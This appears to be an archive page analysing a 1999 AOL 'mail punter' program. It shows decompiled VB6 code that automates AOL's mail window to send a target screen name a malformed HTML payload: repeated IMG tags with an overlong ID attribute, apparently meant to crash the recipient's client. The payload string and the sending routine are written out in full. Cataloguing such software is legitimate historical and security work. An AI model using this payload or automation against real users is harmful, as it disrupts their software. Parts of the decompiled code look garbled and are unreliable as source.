← All Proggies ⬇ Download lethalinjection.zip

Lethal Injection Mail Punter

by Chr0me iCe

AOL 4.0 VB6 P-Code lethalbyice.exe Compiled 1999-09-25 dos32.bas

Main window

🖊 Author Evidence (1)

��(� By Chr0me iCe �)��

📦 Dependencies (3)

VB Runtime

MSVBVM60.DLL

VBA6.DLL

System DLLs

winmm.dll

📋 Project Info

Startup: Form1 · Version: 1.00.0

⚙ API References (12)

AOL Window Classes

AOL Child 4.0+

AOL Frame 4.0+

AOL Frame25 2.5–3.0

AOL Toolbar 4.0+

_AOL_Combobox 2.5+

_AOL_Edit 2.5+

_AOL_Icon 2.5+

_AOL_Listbox 2.5+

_AOL_Static 2.5+

MDIClient 2.5+

RICHCNTL 2.5+

Win32 API Calls

SetWindowPos

🖼 Forms & Controls

1 forms, 6 controls

Form1

Type	Name	Caption/Text
PictureBox	Picture1	—
TextBox	Text2	Mail Subject
TextBox	Text1	SN to Error
Label	Label3	__
Label	Label2	X
Label	Label1	SEND eRROz

📊 Code Breakdown

1.6%

4.2%

94.2%

Custom code — 4 funcs (1.6%) Used from dos32.bas — 5 of 145 funcs (4.2%) Unused from dos32.bas — 140 funcs (94.2%)

Application Code (4 event handlers)

Form_Load() 487b → calls: ChatSend, FormOnTop, Pause

Private Sub Form_Load()
  ChatSend("··( Lethal Injection Mail Punter )·· [Loaded]")
  Pause(0.7)
  ChatSend("··( By Chr0me iCe )··")
  Pause(0.7)
  ChatSend("··( www.angelfire.com/al2/icedungeon  )··")
  Pause(0.7)
  FormOnTop(Me)
  Exit Sub
End Sub

Label1_Click() "SEND eRROz" 652b → calls: SendMail

Private Sub Label1_Click()
  var_A0 = "<HTML><IMG  SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000><HTML><IMG  SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000><HTML><IMG  SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000>"
  SendMail(Me.Text1.Text, Me.Text2.Text)
  Exit Sub
End Sub

Label2_Click() "X" 394b → calls: ChatSend, Pause

Private Sub Label2_Click()
  ChatSend("··( Lethal Injection Mail Punter )··")
  Pause(0.7)
  ChatSend("··( By Chr0me iCe )··")
  Pause(0.7)
  ChatSend("··( Unloaded )··")
  End
  Exit Sub
End Sub

Label3_Click() "__" 170b

Private Sub Label3_Click()
  Call {C175A928-72E4-11D3-A7A9A00754C10000}.Method_arg_9C (1)
  Exit Sub
End Sub

Used dos32.bas Functions (5 called)

Pause() (Proc_1_128_415BF8(arg_C)) 353b

Public Sub Pause(arg_C)
  Dim var_88 As Long
  var_88 = Timer
  ' Referenced from: 415BF1
  If (CDbl((Timer - var_88)) < arg_C) Then
  DoEvents()
  GoTo loc_415BD9
  End If
  Exit Sub
End Sub

FormOnTop() (Proc_1_134_415DD0) 146b

Public Sub FormOnTop
  SetWindowPos(Form.hWnd, -1, 0, 0, 0, 0, 3)
  Exit Sub
End Sub

SendMail() (Proc_1_27_420A50(arg_C,) 2.4KB

Public Sub SendMail(arg_C, arg_10, arg_14)
  Dim var_88 As Long
  Dim var_94 As Long
  Dim var_98 As Long
  Dim var_9C As Long
  Dim var_A8 As Long
  Dim var_AC As Long
  Dim var_B0 As Long
  Dim var_A4 As Long
  Dim var_B8 As Long
  Dim var_BC As Long
  Dim var_C4 As Long
  Dim var_C8 As Long
  Dim var_B4 As Long
  Dim var_CC As String
  var_88 = FindWindow("AOL Frame25", 0)
  var_94 = FindWindowEx(FindWindowEx(var_88, 0, "AOL Toolbar", 0), 0, "_AOL_Toolbar", 0)
  var_98 = FindWindowEx(var_94, FindWindowEx(var_94, 0, "_AOL_Icon", 0), "_AOL_Icon", 0)
  PostMessage(var_98, &H201, 0, 0)
  PostMessage(var_98, &H202, 0, 0)
  DoEvents()
  Do 'loop at: 42097B
  DoEvents()
  var_9C = FindWindowEx(FindWindowEx(var_88, 0, "MDICLIENT", 0), 0, "AOL Child", "Write Mail")
  var_A8 = FindWindowEx(var_9C, 0, "_AOL_Edit", 0)
  var_AC = FindWindowEx(var_9C, var_A8, "_AOL_Edit", 0)
  var_B0 = FindWindowEx(var_9C, var_AC, "_AOL_Edit", 0)
  var_A4 = FindWindowEx(var_9C, 0, "RICHCNTL", 0)
  var_B8 = FindWindowEx(var_9C, 0, "_AOL_Combobox", 0)
  var_BC = FindWindowEx(var_9C, 0, "_AOL_Fontcombo", 0)
  var_C4 = FindWindowEx(var_9C, 0, "_AOL_Icon", 0)
  var_C8 = FindWindowEx(var_9C, var_C4, "_AOL_Icon", 0)
  For var_DC = 1 To &HD: var_A0 = var_DC 'Long
  var_B4 = FindWindowEx(var_9C, FindWindowEx(var_9C, 0, "_AOL_Icon", 0), "_AOL_Icon", 0)
  Next var_DC 'Long
  Loop Until (((((((((var_9C <> 0) And (var_A8 <> 0)) And (var_AC <> 0)) And (var_B0 <> 0)) And (var_A4 <> 0)) And (var_B4 <> 0)) And (var_B8 <> 0)) And (CLng((var_BC <> 0 & var_B4)) <> var_C4)) And (var_B4 <> var_C8)) 'do at: 42071D
  SendMessage(var_A8, &HC, 0, arg_C)
  DoEvents()
  SendMessage(var_B0, &HC, 0, arg_10)
  DoEvents()
  var_CC = arg_14
  SendMessage(var_A4, &HC, 0, var_CC)
  DoEvents()
  Pause(0.2, StrConv(arg_14, vbUnicode), var_CC, StrConv(arg_10, vbUnicode))
  SendMessage(var_B4, &H201, 0, 0)
  SendMessage(var_B4, &H202, 0, 0)
  Exit Sub
End Sub

ChatSend() (Proc_1_36_417DA4(arg_C)) 469b

Public Sub ChatSend(arg_C)
  Dim var_88 As Long
  Dim var_90 As Long
  var_88 = FindRoom()
  var_90 = FindWindowEx(var_88, FindWindowEx(var_88, 0, "RICHCNTL", 0), "RICHCNTL", 0)
  SendMessage(var_90, &HC, 0, arg_C)
  SendMessage(var_90, &H102, &HD, 0)
  Exit Sub
  If StrConv(arg_C, vbUnicode) Then Exit Sub
  End If
End Sub

FindRoom() (Proc_1_38_41D4F0) 1.1KB

Public Sub FindRoom
  Dim var_90 As Long
  Dim var_94 As Long
  Dim var_88 As Long
  var_90 = FindWindowEx(FindWindow("AOL Frame25", 0), 0, "MDIClient", 0)
  var_94 = FindWindowEx(var_90, 0, "AOL Child", 0)
  If ((((FindWindowEx(var_94, 0, "RICHCNTL", 0) <> 0) And (FindWindowEx(var_94, 0, "_AOL_Listbox", 0) <> 0)) And (FindWindowEx(var_94, 0, "_AOL_Icon", 0) <> 0)) And (FindWindowEx(var_94, 0, "_AOL_Static", 0) <> 0)) Then
  var_88 = var_94
  Exit Sub
  Else
  Do 'loop at:   41D4E4
  var_94 = FindWindowEx(var_90, var_94, "AOL Child", 0)
  If ((((FindWindowEx(var_94, 0, "RICHCNTL", 0) <> 0) And (FindWindowEx(var_94, 0, "_AOL_Listbox", 0) <> 0)) And (FindWindowEx(var_94, 0, "_AOL_Icon", 0) <> 0)) And (FindWindowEx(var_94, 0, "_AOL_Static", 0) <> 0)) Then
  var_88 = var_94
  Exit Sub
  End If
  Loop Until Not (var_94 <> 0) 'do at:   41D3DF
  End If
  var_88 = var_94
  Exit Sub
End Sub

⭐ Interesting Strings (18)

Mail Subject Lethal Injection Mail Punter ×2 [Loaded] By Chr0me iCe Incoming/Saved Mail Now checking # for match with # Mail Preferences America Online Instant Message Send Instant Message is online and able to receive aol://4344:1580.prntcon.12263709.564517913 Parental Controls Set Parental Controls Get a Member's Profile Member Profile < No Profile >

Other Strings (43)

SN to Error CloseHandle RtlMoveMemory GetCursorPos GetMenu GetMenuItemCount GetMenuItemID GetMenuStringA GetPrivateProfileStringA GetSubMenu mciSendStringA GetWindowTextA GetWindowTextLengthA GetWindowThreadProcessId IsWindowVisible OpenProcess PostMessageA ReadProcessMemory SetCursorPos SetWindowPos sndPlaySoundA ReleaseCapture WritePrivateProfileStringA AOL Toolbar Send Now www.angelfire.com/al2/icedungeon Unloaded MDIClient RICHCNTL <HTML><IMG SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000><HTML><IMG SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000><HTML><IMG SRC=Tiles.exe ID=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 WIDTH=1 HEIGHT=1 BORDER=0 DATASIZE=1000> MDICLIENT Checking # Write Mail with # Preferences General Marketing You alive? aol://2719:61-2- aol://2719:21-2- aol://2719:2-2- aol://9293: Welcome,

Total unique strings: 291 · Interesting: 18 · Noise filtered: 207